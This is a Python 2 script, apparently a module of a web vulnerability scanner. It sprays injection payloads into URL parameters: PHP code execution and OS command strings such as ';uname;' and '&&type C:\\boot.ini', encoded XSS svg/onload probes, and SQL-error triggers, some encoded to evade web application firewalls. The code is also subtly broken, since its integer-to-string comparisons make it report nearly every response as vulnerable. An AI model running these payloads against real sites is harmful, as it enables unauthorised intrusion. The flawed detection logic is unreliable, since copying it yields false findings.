#!/usr/bin/env python
# Under MIT License
# Free & Open Source , Feel Free to Redistribute it
# Don't Try to Change Author's Name
# Copyright (c) Muhammad Adeel - 2014
# Version 1.0 (stable release)
# Some of this snippet is taken from zing0o
# Chaudhary1337@gmail.com


import re,urllib,time
from urllib import FancyURLopener
from termcolor import colored

class UserAgent(FancyURLopener):
	version = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0'

useragent = UserAgent()

def Pentest(url, payloads, vuln):
	opener = urllib.urlopen(url)
	vulnerabilities = 0
	if opener.code == '999':
		print colored("WebKnight WAF", "green") + "Detected."
		time.sleep(3)
	for params in url.split("?")[1].split("&"):
		for payload in payloads:
			bugs = url.replace(params, params+str(payload).strip())
			request = useragent.open(bugs)
	html = request.readlines()
	for line in html:
		checker = re.findall(vuln, line)
		if len(checker) != '0':
			print "[+] Payload: " + colored("{0}", "green").format(payload)
			print "[+] Code: " + colored("{0}", "green").format(line.strip())
			print "[+] Proof of Concept: " + colored("{0}", "green").format(bugs)
			vulnerabilities += 1
	if vulnerabilities == '0':
		 print "[+] Every Payload is Being Properly Escapaed."
	else:
		print "[-] Target is Vulnerable to: " + colored("{0}", "green").format(vulnerabilities) + " :Vulnerabilities."
		
def RemoteCodeExecution(url):
	print colored("+++", "green") * 16
	print colored("-- Checking Remote Code Execution --", "green")
	print colored("+++", "green") * 16
	payloads = [';${@print(md5(UrduSecurity))}', ';${@print(md5("UrduSecurity"))}']
	# Encrypted Payloads to Bypass Some WAFs
	payloads += ['%253B%2524%257B%2540print%2528md5%2528%2522UrduSecurity%2522%2529%2529%257D%253B']
	payloads += [';uname;', '&&dir', '&&type C:\\boot.ini', ';phpinfo();', ';phpinfo']
	vuln = re.compile("51107ed95250b4099a0f481221d56497|Linux|eval\(\)|SERVER_ADDR|Volume.+Serial|\[boot", re.I)
	Pentest(url, payloads, vuln)
	
def XssTest(url):
	print colored("+++", "green") * 16
	print colored("-- Checking Cross Site Scripting --", "green")
	print colored("+++", "green") * 16
	payloads = ['%27%3EUrduSecurity%3Csvg%2Fonload%3Dconfirm%28%2FUrduSecurity%2F%29%3Eweb', '%78%22%78%3e%78']
	payloads += ['%22%3EUrduSecurity%3Csvg%2Fonload%3Dconfirm%28%2FUrduSecurity%2F%29%3Eweb', 'UrduSecurity%3Csvg%2Fonload%3Dconfirm%28%2FUrduSecurity%2F%29%3Eweb']
	vuln = re.compile('UrduSecurity<svg|x>x', re.I)
	Pentest(url, payloads, vuln)
	
def ErrBsdSQLi(url):
	print colored("+++", "green") * 16
	print colored("-- Checking Error Based SQLi --", "green")
	print colored("+++", "green") * 16
	payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
	vuln = re.compile("You have an error in your SQL|Incorrect syntax|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
	Pentest(url, payloads, vuln)

Create Modules.py